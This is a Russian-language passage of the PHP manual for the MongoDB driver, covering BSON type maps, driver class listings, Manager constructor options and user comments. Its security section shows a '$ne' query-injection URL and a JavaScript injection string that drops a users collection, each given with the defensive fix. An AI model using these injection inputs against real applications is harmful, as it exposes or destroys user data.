{ foo: "yes", "__pclass" : { "$type": "80", "$binary": "YourClass" } }
  -> YourClass { $foo => 'yes', $__pclass => Binary(0x80, 'YourClass'), $unserialized => true }

/* typemap: [ 'root' => 'array', 'document' => 'array' ] */
{ "foo": "yes", "bar" : false }
  -> [ "foo" => "yes", "bar" => false ]

{ "foo": "no", "array" : [ 5, 6 ] }
  -> [ "foo" => "no", "array" => [ 5, 6 ] ]

{ "foo": "no", "obj" : { "embedded" : 3.14 } }
  -> [ "foo" => "no", "obj" => [ "embedded => 3.14 ] ]

{ "foo": "yes", "__pclass": "MyClass" }
  -> [ "foo" => "yes", "__pclass" => "MyClass" ]

{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MyClass" } }
  -> [ "foo" => "yes", "__pclass" => Binary(0x80, "MyClass") ]

{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "OurClass" } }
  -> [ "foo" => "yes", "__pclass" => Binary(0x80, "OurClass") ]

/* typemap: [ 'root' => 'object', 'document' => 'object' ] */
{ "foo": "yes", "__pclass": { "$type": "80", "$binary": "MyClass" } }
  -> stdClass { $foo => "yes", "__pclass" => Binary(0x80, "MyClass") }

User Contributed Notes

hello at stefandjokic dot com 08-Jun-2020 12:33
Minor correction to my previous comment:

Use 'fieldPaths' for specifying type of nested property.

Eg.

'typeMap' => [
                'array' => 'array',
                'fieldPaths' => [
                    'notifications.email.to' => 'array',
                    'notifications.data.params' => 'array',
                ],
            ],
hello at stefandjokic dot com 02-Jun-2020 09:12
You can also specify the type map for nested document item, e.g.

<?php
.
.
.
// everything else is by default an object
'typeMap' => [
                'customer.phones' => 'array',
            ],
Miguel 11-Nov-2017 04:10
Make sure you include the field "__pclass" to the projection if you want the ODM to automatically call the bsonUnserialize of the class.

If you don't get that field in the query, the ODM will never know which class to call, so you'll have to specify it with the "typemap" variable.


Безопасность

  • Атака с помощью инъекций в запросе
  • Атака с помощью инъекций в скриптах

User Contributed Notes

There are no user contributed notes for this page.


Атака с помощью инъекций в запросе

Если вы передаёте параметры $_GET (или $_POST) своим запросам, убедитесь, что они сначала приводятся к строкам. Пользователи могут вставлять ассоциативные массивы в запросы GET и POST, которые затем могут стать нежелательными $-запросами.

Довольно безобидный пример. Предположим, вы ищете информацию о пользователе по запросу http://www.example.com?username=bob. Ваше приложение создаёт запрос $q = new \MongoDB\Driver\Query( [ 'username' => $_GET['username'] ]).

Кто-то может подорвать это, получив http://www.example.com?username[$ne]=foo, который PHP волшебным образом превратит в ассоциативный массив, превратив ваш запрос в $q = new \MongoDB\Driver\Query( [ 'username' => [ '$ne' => 'foo' ] ] ), который вернёт всех пользователей, не имеющих имени "foo" (вероятно, всех ваших пользователей).

От этой атаки достаточно легко защититься: убедитесь, что параметры $_GET и $_POST соответствуют ожидаемому типу, прежде чем отправлять их в базу данных. PHP имеет функцию filter_var(), чтобы помочь с этим.

Обратите внимание, что этот тип атаки может использоваться с любым взаимодействием с базой данных, которое находит документ, включая команды update, upserts, delete и findAndModify.

Смотрите » основную документацию для получения дополнительной информации о проблемах SQL инъекций в MongoDB.

User Contributed Notes

There are no user contributed notes for this page.


Атака с помощью инъекций в скриптах

Если вы используете JavaScript, убедитесь, что все переменные, которые пересекают границу PHP-JavaScript, передаются в поле scope MongoDB\BSON\Javascript, а не интерполируются в строку JavaScript. Это может возникнуть при использовании предложений $where в запросах, командах mapReduce и group, а также в любое другое время, когда вы можете передать JavaScript в базу данных.

Например, предположим, что у нас есть некоторый JavaScript, чтобы приветствовать пользователя в журналах базы данных. Мы могли бы сделать:

<?php
$m = new MongoDB\Driver\Manager;

// Не делайте так!!!
$username = $_GET['field'];

$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Привет, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

Однако что, если злоумышленник передаст какой-то JavaScript?

<?php
$m = new MongoDB\Driver\Manager;

// Не делайте так!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"

$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Привет, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

Теперь MongoDB выполнит строку JavaScript "print('Привет, '); db.users.drop(); print('!');". Эту атаку легко избежать: используйте args для передачи переменных из PHP в JavaScript:

<?php
$m = new MongoDB\Driver\Manager;

$_GET['field'] = 'derick';
$args = [ $_GET['field'] ];

$cmd = new \MongoDB\Driver\Command( [
'eval' => "function greet(username) { print('Привет, ' + username + '!'); }",
'args' => $args,
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

Это добавляет аргумент в область JavaScript, которая используется в качестве аргумента для функции greet. Теперь, если кто-то попытается отправить вредоносный код, MongoDB безвредно напечатает Привет, '); db.dropDatabase(); print('!.

Использование аргументов помогает предотвратить выполнение вредоносного ввода базой данных. Тем не менее, вы должны убедиться, что ваш код не перевернётся и всё равно выполнит ввод! Лучше всего избегать выполнения любого JavaScript на сервере.

Настоятельно рекомендуется избегать предложения » $where clause с запросами, так как это существенно влияет на производительность. По возможности используйте либо обычные операторы запросов, либо » Aggregation Framework.

В качестве альтернативы » MapReduce, использующей JavaScript, рассмотрите возможность использования » Aggregation Framework. В отличие от Map/Reduce, он использует идиоматический язык для построения запросов, без необходимости писать и использовать более медленный подход JavaScript, который требуется для Map/Reduce.

Команда » eval устарела с MongoDB 3.0, и её также следует избегать.

User Contributed Notes

Robin 17-Oct-2016 09:47
Shouldn't the second example have this

$_GET['field'] = "'); db.users.drop(); print('";

Before it sets $username?


Классы драйвера MongoDB

  • MongoDB\Driver\Manager — Класс MongoDB\Driver\Manager
    • MongoDB\Driver\Manager::addSubscriber — Регистрирует подписчика на событие мониторинга в данном объекте Manager
    • MongoDB\Driver\Manager::__construct — Создаёт новый Manager MongoDB
    • MongoDB\Driver\Manager::createClientEncryption — Создание нового объекта ClientEncryption
    • MongoDB\Driver\Manager::executeBulkWrite — Выполняет одну или несколько операций записи
    • MongoDB\Driver\Manager::executeCommand — Выполняет команду базы данных
    • MongoDB\Driver\Manager::executeQuery — Выполняет запрос к базе данных
    • MongoDB\Driver\Manager::executeReadCommand — Выполняет команду базы данных, которая читает
    • MongoDB\Driver\Manager::executeReadWriteCommand — Выполняет команду базы данных, которая читает и пишет
    • MongoDB\Driver\Manager::executeWriteCommand — Выполняет команду базы данных, которая пишет
    • MongoDB\Driver\Manager::getEncryptedFieldsMap — Возвращает опцию автоматического шифрования encryptedFieldsMap для Manager
    • MongoDB\Driver\Manager::getReadConcern — Возвращает ReadConcern для Manager
    • MongoDB\Driver\Manager::getReadPreference — Возвращает ReadPreference для Manager
    • MongoDB\Driver\Manager::getServers — Возвращает серверы, к которым подключён менеджер
    • MongoDB\Driver\Manager::getWriteConcern — Возвращает WriteConcern для Manager
    • MongoDB\Driver\Manager::removeSubscriber — Отменяет регистрацию подписчика на событие мониторинга в данном объекте Manager
    • MongoDB\Driver\Manager::selectServer — Выбрать сервер, соответствующий предпочтениям чтения
    • MongoDB\Driver\Manager::startSession — Запускает новый клиентский сеанс для использования с этим клиентом
  • MongoDB\Driver\Command — Класс The MongoDB\Driver\Command
    • MongoDB\Driver\Command::__construct — Создаёт новый объект Command
  • MongoDB\Driver\Query — Класс MongoDB\Driver\Query
    • MongoDB\Driver\Query::__construct — Создаёт новый запрос
  • MongoDB\Driver\BulkWrite — Класс MongoDB\Driver\BulkWrite
    • MongoDB\Driver\BulkWrite::__construct — Создаёт новый объект BulkWrite
    • MongoDB\Driver\BulkWrite::count — Подсчитывает количество операций записи в порции
    • MongoDB\Driver\BulkWrite::delete — Добавление операции удаления в порцию
    • MongoDB\Driver\BulkWrite::insert — Добавить операцию вставки в порцию
    • MongoDB\Driver\BulkWrite::update — Добавить операцию обновления в порцию
  • MongoDB\Driver\Session — Класс MongoDB\Driver\Session
    • MongoDB\Driver\Session::abortTransaction — Прерывает транзакцию
    • MongoDB\Driver\Session::advanceClusterTime — Увеличивает время кластера для сеанса
    • MongoDB\Driver\Session::advanceOperationTime — Увеличивает время операции для сеанса
    • MongoDB\Driver\Session::commitTransaction — Фиксирует транзакцию
    • MongoDB\Driver\Session::__construct — Создаёт новый сеанс (не используется)
    • MongoDB\Driver\Session::endSession — Завершает сеанс
    • MongoDB\Driver\Session::getClusterTime — Возвращает время кластера для этого сеанса
    • MongoDB\Driver\Session::getLogicalSessionId — Возвращает логический идентификатор сеанса для этого сеанса
    • MongoDB\Driver\Session::getOperationTime — Возвращает время операции для этого сеанса
    • MongoDB\Driver\Session::getServer — Возвращает сервер к которому привязана текущая сессия
    • MongoDB\Driver\Session::getTransactionOptions — Возвращает настройки текущей транзакции
    • MongoDB\Driver\Session::getTransactionState — Возвращает статус транзакции для текущей сессии
    • MongoDB\Driver\Session::isDirty — Возвращает, была ли сессия помечена как грязная
    • MongoDB\Driver\Session::isInTransaction — Определяет, происходит ли в данный момент многодокументная транзакция
    • MongoDB\Driver\Session::startTransaction — Запускает транзакцию
  • MongoDB\Driver\ClientEncryption — Класс MongoDB\Driver\ClientEncryption
    • MongoDB\Driver\ClientEncryption::addKeyAltName — Добавляет альтернативное имя к документу с ключом
    • MongoDB\Driver\ClientEncryption::__construct — Создаёт новый объект ClientEncryption
    • MongoDB\Driver\ClientEncryption::createDataKey — Создаёт документ с ключом
    • MongoDB\Driver\ClientEncryption::decrypt — Расшифровать данных
    • MongoDB\Driver\ClientEncryption::deleteKey — Удаляет документ с ключом
    • MongoDB\Driver\ClientEncryption::encrypt — Шифрует данные
    • MongoDB\Driver\ClientEncryption::encryptExpression — Шифрует совпадение или агрегированное выражение
    • MongoDB\Driver\ClientEncryption::getKey — Получает документ с ключом
    • MongoDB\Driver\ClientEncryption::getKeyByAltName — Получает документ с ключом по альтернативному имени
    • MongoDB\Driver\ClientEncryption::getKeys — Получает все документы с ключом
    • MongoDB\Driver\ClientEncryption::removeKeyAltName — Удаляет альтернативное имя из документа с ключом
    • MongoDB\Driver\ClientEncryption::rewrapManyDataKey — Переворачивает ключи данных
  • MongoDB\Driver\ServerApi — Класс MongoDB\Driver\ServerApi
    • MongoDB\Driver\ServerApi::bsonSerialize — Возвращает объект для сериализации BSON
    • MongoDB\Driver\ServerApi::__construct — Создаёт новый экземпляр ServerApi
    • MongoDB\Driver\ServerApi::serialize — Сериализует ServerApi
    • MongoDB\Driver\ServerApi::unserialize — Десериализует ServerApi
  • MongoDB\Driver\WriteConcern — Класс MongoDB\Driver\WriteConcern
    • MongoDB\Driver\WriteConcern::bsonSerialize — Возвращает объект сериализации BSON
    • MongoDB\Driver\WriteConcern::__construct — Создать новый WriteConcern
    • MongoDB\Driver\WriteConcern::getJournal — Возвращает опцию "journal" WriteConcern
    • MongoDB\Driver\WriteConcern::getW — Возвращает опцию "w" WriteConcern
    • MongoDB\Driver\WriteConcern::getWtimeout — Возвращает опцию "wtimeout" WriteConcern
    • MongoDB\Driver\WriteConcern::isDefault — Проверяет, является ли гарантия записи по умолчанию
    • MongoDB\Driver\WriteConcern::serialize — Сериализация WriteConcern
    • MongoDB\Driver\WriteConcern::unserialize — Десериализация WriteConcern
  • MongoDB\Driver\ReadPreference — Класс MongoDB\Driver\ReadPreference
    • MongoDB\Driver\ReadPreference::bsonSerialize — Возвращает объект сериализации BSON
    • MongoDB\Driver\ReadPreference::__construct — Создать новый ReadPreference
    • MongoDB\Driver\ReadPreference::getHedge — Возвращает опцию "hedge" из ReadPreference
    • MongoDB\Driver\ReadPreference::getMaxStalenessSeconds — Возвращает параметр "maxStalenessSeconds" ReadPreference
    • MongoDB\Driver\ReadPreference::getMode — Возвращает параметр "mode" ReadPreference
    • MongoDB\Driver\ReadPreference::getModeString — Возвращает опцию "mode" объекта ReadPreference в виде строки
    • MongoDB\Driver\ReadPreference::getTagSets — Возвращает параметр "tagSets" ReadPreference
    • MongoDB\Driver\ReadPreference::serialize — Сериализация ReadPreference
    • MongoDB\Driver\ReadPreference::unserialize — Десериализация ReadPreference
  • MongoDB\Driver\ReadConcern — Класс MongoDB\Driver\ReadConcern
    • MongoDB\Driver\ReadConcern::bsonSerialize — Возвращает объект для сериализации BSON
    • MongoDB\Driver\ReadConcern::__construct — Создаёт новый ReadConcern
    • MongoDB\Driver\ReadConcern::getLevel — Возвращает опцию "level" ReadConcern
    • MongoDB\Driver\ReadConcern::isDefault — Проверяет, является ли гарантией чтения по умолчанию
    • MongoDB\Driver\ReadConcern::serialize — Сериализация ReadConcern
    • MongoDB\Driver\ReadConcern::unserialize — Десериализация ReadConcern
  • MongoDB\Driver\Cursor — Класс MongoDB\Driver\Cursor
    • MongoDB\Driver\Cursor::__construct — Создаёт новый объект Cursor (не используется)
    • MongoDB\Driver\Cursor::current — Возвращает текущий элемент
    • MongoDB\Driver\Cursor::getId — Возвращает идентификатор для курсора
    • MongoDB\Driver\Cursor::getServer — Возвращает сервер, связанный с курсором
    • MongoDB\Driver\Cursor::isDead — Проверяет, исчерпан ли курсор или может содержать дополнительные результаты
    • MongoDB\Driver\Cursor::key — Возвращает индекс текущего результата в курсоре
    • MongoDB\Driver\Cursor::next — Перемещает курсор на следующий результат
    • MongoDB\Driver\Cursor::rewind — Перемещает курсор к первому результату
    • MongoDB\Driver\Cursor::setTypeMap — Устанавливает карту типа для десериализации BSON
    • MongoDB\Driver\Cursor::toArray — Возвращает массив, содержащий все результаты курсора
    • MongoDB\Driver\Cursor::valid — Проверяет, корректна ли текущая позиция курсора
  • MongoDB\Driver\CursorId — Класс MongoDB\Driver\CursorId
    • MongoDB\Driver\CursorId::__construct — Создаёт новый объект CursorId (не используется)
    • MongoDB\Driver\CursorId::serialize — Сериализация CursorId
    • MongoDB\Driver\CursorId::__toString — Строковое представление идентификатора курсора
    • MongoDB\Driver\CursorId::unserialize — Десериализация CursorId
  • MongoDB\Driver\CursorInterface — Интерфейс MongoDB\Driver\CursorInterface
    • MongoDB\Driver\CursorInterface::getId — Возвращает идентификатор курсора
    • MongoDB\Driver\CursorInterface::getServer — Возвращает сервер, с которым связан курсор
    • MongoDB\Driver\CursorInterface::isDead — Проверить, можно ли ещё получить из курсора результаты
    • MongoDB\Driver\CursorInterface::setTypeMap — Задать сопоставление типов для десериализации BSON
    • MongoDB\Driver\CursorInterface::toArray — Вернуть все результаты для данного курсора в виде массива
  • MongoDB\Driver\Server — Класс MongoDB\Driver\Server
    • MongoDB\Driver\Server::__construct — Создаёт новый Server (не используется)
    • MongoDB\Driver\Server::executeBulkWrite — Выполнить одну или несколько операций записи на сервере
    • MongoDB\Driver\Server::executeCommand — Выполнить команду базы данных на сервере
    • MongoDB\Driver\Server::executeQuery — Выполняет запрос к базе данных на сервере
    • MongoDB\Driver\Server::executeReadCommand — Выполняет команду базы данных, которая читает на сервере
    • MongoDB\Driver\Server::executeReadWriteCommand — Выполняет команду базы данных, которая читает и пишет на сервере
    • MongoDB\Driver\Server::executeWriteCommand — Выполняет команду базы данных, которая пишет на сервере
    • MongoDB\Driver\Server::getHost — Возвращает имя хоста сервера
    • MongoDB\Driver\Server::getInfo — Возвращает массив информации, описывающий сервер
    • MongoDB\Driver\Server::getLatency — Возвращает задержку сервера в миллисекундах
    • MongoDB\Driver\Server::getPort — Возвращает порт, который слушает сервер
    • MongoDB\Driver\Server::getServerDescription — Возвращает ServerDescription сервера
    • MongoDB\Driver\Server::getTags — Возвращает массив тегов, описывающих сервер в наборе реплик
    • MongoDB\Driver\Server::getType — Возвращает целое число, обозначающее тип этого сервера
    • MongoDB\Driver\Server::isArbiter — Проверяет, является ли сервер членом-арбитром в наборе реплик
    • MongoDB\Driver\Server::isHidden — Проверяет, является ли сервер скрытым членом набора реплик
    • MongoDB\Driver\Server::isPassive — Проверяет, является ли сервер пассивным членом набора реплик
    • MongoDB\Driver\Server::isPrimary — Проверяет, является ли сервер основным членом набора реплик
    • MongoDB\Driver\Server::isSecondary — Проверяет, является ли этот сервер второстепенным членом набора реплик
  • MongoDB\Driver\ServerDescription — Класс MongoDB\Driver\ServerDescription
    • MongoDB\Driver\ServerDescription::getHelloResponse — Возвращает последний ответ сервера "hello"
    • MongoDB\Driver\ServerDescription::getHost — Возвращает имя хоста сервера
    • MongoDB\Driver\ServerDescription::getLastUpdateTime — Возвращает время последнего обновления сервера в микросекундах
    • MongoDB\Driver\ServerDescription::getPort — Возвращает порт, на котором прослушивается данный сервер
    • MongoDB\Driver\ServerDescription::getRoundTripTime — Возвращает время обхода сервера в миллисекундах
    • MongoDB\Driver\ServerDescription::getType — Возвращает строку, обозначающую тип данного сервера
  • MongoDB\Driver\TopologyDescription — Класс MongoDB\Driver\TopologyDescription
    • MongoDB\Driver\TopologyDescription::getServers — Возвращает серверы в топологии
    • MongoDB\Driver\TopologyDescription::getType — Возвращает строку, обозначающую тип топологии
    • MongoDB\Driver\TopologyDescription::hasReadableServer — Возвращает, есть ли в топологии сервер, доступный для чтения
    • MongoDB\Driver\TopologyDescription::hasWritableServer — Возвращает, есть ли в топологии сервер, доступный для записи
  • MongoDB\Driver\WriteConcernError — Класс The MongoDB\Driver\WriteConcernError
    • MongoDB\Driver\WriteConcernError::getCode — Возвращает код ошибки WriteConcernError
    • MongoDB\Driver\WriteConcernError::getInfo — Возвращает документ метаданных для WriteConcernError
    • MongoDB\Driver\WriteConcernError::getMessage — Возвращает сообщение об ошибке WriteConcernError
  • MongoDB\Driver\WriteError — Класс MongoDB\Driver\WriteError
    • MongoDB\Driver\WriteError::getCode — Возвращает код ошибки WriteError
    • MongoDB\Driver\WriteError::getIndex — Возвращает индекс записи, соответствующей этому WriteError
    • MongoDB\Driver\WriteError::getInfo — Возвращает документ метаданных для WriteError
    • MongoDB\Driver\WriteError::getMessage — Возвращает сообщение об ошибке WriteError
  • MongoDB\Driver\WriteResult — Класс MongoDB\Driver\WriteResult
    • MongoDB\Driver\WriteResult::getDeletedCount — Возвращает количество удалённых документов
    • MongoDB\Driver\WriteResult::getInsertedCount — Возвращает количество вставленных документов (исключая слияния)
    • MongoDB\Driver\WriteResult::getMatchedCount — Возвращает количество документов, выбранных для обновления
    • MongoDB\Driver\WriteResult::getModifiedCount — Возвращает количество существующих обновлённых документов
    • MongoDB\Driver\WriteResult::getServer — Возвращает сервер, связанный с этим результатом записи
    • MongoDB\Driver\WriteResult::getUpsertedCount — Возвращает количество документов, вставленных слиянием
    • MongoDB\Driver\WriteResult::getUpsertedIds — Возвращает массив идентификаторов для объединённых документов
    • MongoDB\Driver\WriteResult::getWriteConcernError — Возвращает любую ошибку гарантий записи, которая произошла
    • MongoDB\Driver\WriteResult::getWriteErrors — Возвращает любые ошибки записи, которые произошли
    • MongoDB\Driver\WriteResult::isAcknowledged — Возвращает, была ли запись подтверждена

User Contributed Notes

mike at eastghost dot com 20-Jun-2019 03:52
The 'high level' driver is here

https://docs.mongodb.com/php-library/current/reference/


Класс MongoDB\Driver\Manager

(mongodb >=1.0.0)

Введение

Класс MongoDB\Driver\Manager является основной точкой входа в модуль. Он отвечает за поддержание соединений с MongoDB (будь то автономный сервер, набор реплик или распределённый кластер).

При инициализации класса Manager не происходит подключение к MongoDB. Это означает, что MongoDB\Driver\Manager всегда может быть создан, даже если сервера MongoDB не работают.

Любая запись или запрос будут выбрасывать исключение соединения, поскольку соединения создаются "лениво" (по требованию). Сервер MongoDB также может быть недоступен в течение всего времени выполнения скрипта. Поэтому важно, чтобы все действия с Manager были обёрнуты в блок try/catch.

Обзор классов

final class MongoDB\Driver\Manager {
/* Методы */
final public addSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void
final public __construct(?string $uri = null, ?array $uriOptions = null, ?array $driverOptions = null)
final public createClientEncryption(array $options): MongoDB\Driver\ClientEncryption
final public executeBulkWrite(string $namespace, MongoDB\Driver\BulkWrite $bulk, array|MongoDB\Driver\WriteConcern|null $options = null): MongoDB\Driver\WriteResult
final public executeCommand(string $db, MongoDB\Driver\Command $command, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor
final public executeQuery(string $namespace, MongoDB\Driver\Query $query, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor
final public executeReadCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public executeReadWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public executeWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public getEncryptedFieldsMap(): array|object|null
final public getReadConcern(): MongoDB\Driver\ReadConcern
final public getReadPreference(): MongoDB\Driver\ReadPreference
final public getServers(): array
final public getWriteConcern(): MongoDB\Driver\WriteConcern
final public removeSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void
final public selectServer(?MongoDB\Driver\ReadPreference $readPreference = null): MongoDB\Driver\Server
final public startSession(?array $options = null): MongoDB\Driver\Session
}

Примеры

Пример #1 Простой пример использования MongoDB\Driver\Manager::__construct()

Выводит различную информацию о MongoDB\Driver\Manager с помощью функции var_dump(). Это может быть полезно для отладки, чтобы посмотреть как драйвер видит настройку MongoDB и какие опции используются.

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
var_dump($manager);

?>

Результатом выполнения данного примера будет что-то подобное:

object(MongoDB\Driver\Manager)#1 (2) {
  ["uri"]=>
  string(26) "mongodb://127.0.0.1:27017/"
  ["cluster"]=>
  array(0) {
  }
}

Содержание

  • MongoDB\Driver\Manager::addSubscriber — Регистрирует подписчика на событие мониторинга в данном объекте Manager
  • MongoDB\Driver\Manager::__construct — Создаёт новый Manager MongoDB
  • MongoDB\Driver\Manager::createClientEncryption — Создание нового объекта ClientEncryption
  • MongoDB\Driver\Manager::executeBulkWrite — Выполняет одну или несколько операций записи
  • MongoDB\Driver\Manager::executeCommand — Выполняет команду базы данных
  • MongoDB\Driver\Manager::executeQuery — Выполняет запрос к базе данных
  • MongoDB\Driver\Manager::executeReadCommand — Выполняет команду базы данных, которая читает
  • MongoDB\Driver\Manager::executeReadWriteCommand — Выполняет команду базы данных, которая читает и пишет
  • MongoDB\Driver\Manager::executeWriteCommand — Выполняет команду базы данных, которая пишет
  • MongoDB\Driver\Manager::getEncryptedFieldsMap — Возвращает опцию автоматического шифрования encryptedFieldsMap для Manager
  • MongoDB\Driver\Manager::getReadConcern — Возвращает ReadConcern для Manager
  • MongoDB\Driver\Manager::getReadPreference — Возвращает ReadPreference для Manager
  • MongoDB\Driver\Manager::getServers — Возвращает серверы, к которым подключён менеджер
  • MongoDB\Driver\Manager::getWriteConcern — Возвращает WriteConcern для Manager
  • MongoDB\Driver\Manager::removeSubscriber — Отменяет регистрацию подписчика на событие мониторинга в данном объекте Manager
  • MongoDB\Driver\Manager::selectServer — Выбрать сервер, соответствующий предпочтениям чтения
  • MongoDB\Driver\Manager::startSession — Запускает новый клиентский сеанс для использования с этим клиентом

User Contributed Notes

gbormann dot nospam at telenet dot be 21-Sep-2019 06:05
Re mocking implications of final nature of MongoDB\Driver\Manager :
Final classes can be mocked through an indirection using a wrapper class.
mike at eastghost dot com 21-Aug-2018 11:37
According to Mongo, this (i.e., MongoDB\Driver\Manager) is an "entry point" for the extension:

"This class serves as an entry point for the MongoDB PHP Library. It is the preferred class for connecting to a MongoDB server or cluster of servers and acts as a gateway for accessing individual databases and collections. MongoDB\Client is analogous to the driver's MongoDB\Driver\Manager class, which it composes."

copied from here: https://docs.mongodb.com/php-library/master/reference/class/MongoDBClient/

However, any comparison of the "mongodb" docs here on php.net versus the "mongodb driver" docs on mongo's site shows dramatic and ever-changing differences.
Zalmoksis 14-Jun-2018 09:32
It's worth noting that Manager is final, so you cannot mock it easily with tools like PhpUnit.


Регистрирует подписчика на событие мониторинга в данном объекте Manager

  • « MongoDB\Driver\Manager
  • MongoDB\Driver\Manager::__construct »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Регистрирует подписчика на событие мониторинга в данном объекте Manager

MongoDB\Driver\Manager::addSubscriber

(mongodb >=1.10.0)

MongoDB\Driver\Manager::addSubscriber — Регистрирует подписчика на событие мониторинга в данном объекте Manager

Описание

final public MongoDB\Driver\Manager::addSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void

Регистрирует подписчика на событие мониторинга в данном объекте Manager. Подписчик будет уведомлен обо всех событиях для этого объекта Manager.

Замечание: Если subscriber уже зарегистрирован в данном объекте Manager, эта функция будет недоступна. Если subscriber также зарегистрирован глобально, он всё равно будет получать уведомление только один раз о каждом событии для этого объекта Manager.

Список параметров

subscriber (MongoDB\Driver\Monitoring\Subscriber)

Подписчик событий мониторинга, который должен быть зарегистрирован в данном объекте Manager.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывается исключение MongoDB\Driver\Exception\InvalidArgumentException, если subscriber является MongoDB\Driver\Monitoring\LogSubscriber, поскольку регистраторы могут быть зарегистрированы только глобально.

Смотрите также

  • MongoDB\Driver\Manager::removeSubscriber() - Отменяет регистрацию подписчика на событие мониторинга в данном объекте Manager
  • MongoDB\Driver\Monitoring\Subscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый Manager MongoDB

  • « MongoDB\Driver\Manager::addSubscriber
  • MongoDB\Driver\Manager::createClientEncryption »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Создаёт новый Manager MongoDB

MongoDB\Driver\Manager::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Manager::__construct — Создаёт новый Manager MongoDB

Описание

final public MongoDB\Driver\Manager::__construct(?string $uri = null, ?array $uriOptions = null, ?array $driverOptions = null)

Создаёт новый объект MongoDB\Driver\Manager с переданными параметрами.

Замечание: В » спецификации по обнаружению и мониторингу сервера, этот конструктор не выполняет ввода-вывода. Соединения будут инициализироваться по требованию, когда выполняется первая операция.

Замечание: При передаче любых URI-опций, связанных с SSL или TLS, через строку подключения или параметр uriOptions, драйвер неявно включает TLS при соединениях. Чтобы предотвратить это, либо явно отключите опцию tls, либо не передавайте никаких TLS-опций.

Замечание: На Unix, драйвер MongoDB чувствителен к сценариям, которые используют системный вызов fork() без последующего exec(). Пользователям рекомендуется не переиспользовать экземпляр MongoDB\Driver\Manager в дочернем процессе. child process.

Список параметров

uri

URI-адрес подключения » mongodb://:

mongodb://[username:password@]host1[:port1][,host2[:port2],...[,hostN[:portN]]][/[defaultAuthDb][?options]]

Подробнее о поддерживаемых URI параметрах, смотрите раздел » Параметры строки подключения в руководстве MongoDB. » Параметры пула подключения не поддерживаются, т.к. PHP-драйвер не реализует пулы подключений.

uri - это URL, поэтому любые специальные символы в его компонентах должны закодированы в соответствии » RFC 3986. Это особенно актуально для имени пользователя и пароля, которые часто могут содержать специальные символы, такие как @, :, или %. При подключении через доменный сокет Unix, путь сокета может содержать специальные символы, например слеши, которые необходимо закодировать. Функция rawurlencode() может использоваться для кодирования составных частей URI-адреса.

Компонент defaultAuthDb может использоваться для указания имени базы данных, связанной с учётными данными пользователя; однако параметр URI authSource будет иметь приоритет, если он указан. Если ни defaultAuthDb, ни authSource не указаны, база данных admin будет использоваться по умолчанию. Компонент defaultAuthDb не имеет смысла при отсутствии учётных данных пользователя.

uriOptions

Дополнительные » параметры строки подключения, которые будут перезаписывать любые параметры с тем же именем в параметре uri.

uriOptions
Название опции | Тип | Описание
appname string

В MongoDB 3.4+ появилась возможность добавлять аннотации к соединениям с метаданными, предоставляемыми подключающимся клиентом. Эти метаданные включаются в журналы логирования сервера при установлении соединения, а также записываются в журналы медленных запросов, если включено профилирование базы данных.

Эта опция может использоваться для указания имени приложения, которое будет включено в метаданные. Значение не может превышать 128 символов.

authMechanism string

Механизм аутентификации, который MongoDB будет использовать для аутентификации соединения. Для просмотра дополнительных сведений и списка поддерживаемых значений, смотрите раздел » Параметры аутентификации в руководстве MongoDB.

authMechanismProperties array

Свойства для выбранного механизма аутентификации. Для просмотра дополнительных сведений и списка поддерживаемых значений, смотрите раздел » Спецификация аутентификации драйвера.

Замечание: Если не указана в строке URI-адреса, эта опция представляется в виде массива пар ключ-значение. Ключи и значения в этом массиве должны быть строками.

authSource string

Имя базы данных, связанное с учётными данными пользователя. По умолчанию используется компонент базы данных из URI-адреса соединения или база данных admin, если оба не указаны.

Для механизмов аутентификации, которые делегируют хранение учётных данных другим службам (например, GSSAPI), значение должно быть "$external".

canonicalizeHostname bool

Если true, драйвер будет преобразовывать реальное имя хоста для IP-адреса сервера перед аутентификацией через SASL. Некоторые базовые слои GSSAPI уже делают это, но эта функциональность может быть отключена в их конфигурации (например, krb.conf). По умолчанию false.

Этот параметр является устаревшим псевдонимом для свойства "CANONICALIZE_HOST_NAME" параметра URI "authMechanismProperties".

compressors string

Имеющий приоритет, список разделённых запятыми компрессоров, которые клиент хочет использовать. Сообщения сжаты только в том случае, если клиент и сервер совместно используют любые компрессоры, а компрессор, используемый в каждом направлении, будет зависеть от индивидуальной конфигурации сервера или драйвера. Смотрите » Спецификация компрессии драйвера для получения дополнительной информации.

connectTimeoutMS int

Время ожидания в миллисекундах при попытке соединения. По умолчанию - 10 000 миллисекунд.

directConnection bool

Этот параметр можно использовать для управления поведением обнаружения набора реплик, если в строке подключения указан только один хост. По умолчанию, предоставление одного члена в строке подключения приведёт к установлению прямого подключения или обнаружению дополнительных членов в зависимости от того, отсутствует или отсутствует опция URI "replicaSet" соответственно. Укажите false, чтобы вызвать обнаружение (если "replicaSet" опущен) или укажите true, чтобы форсировать прямое соединение (если "replicaSet" присутствует).

gssapiServiceName string

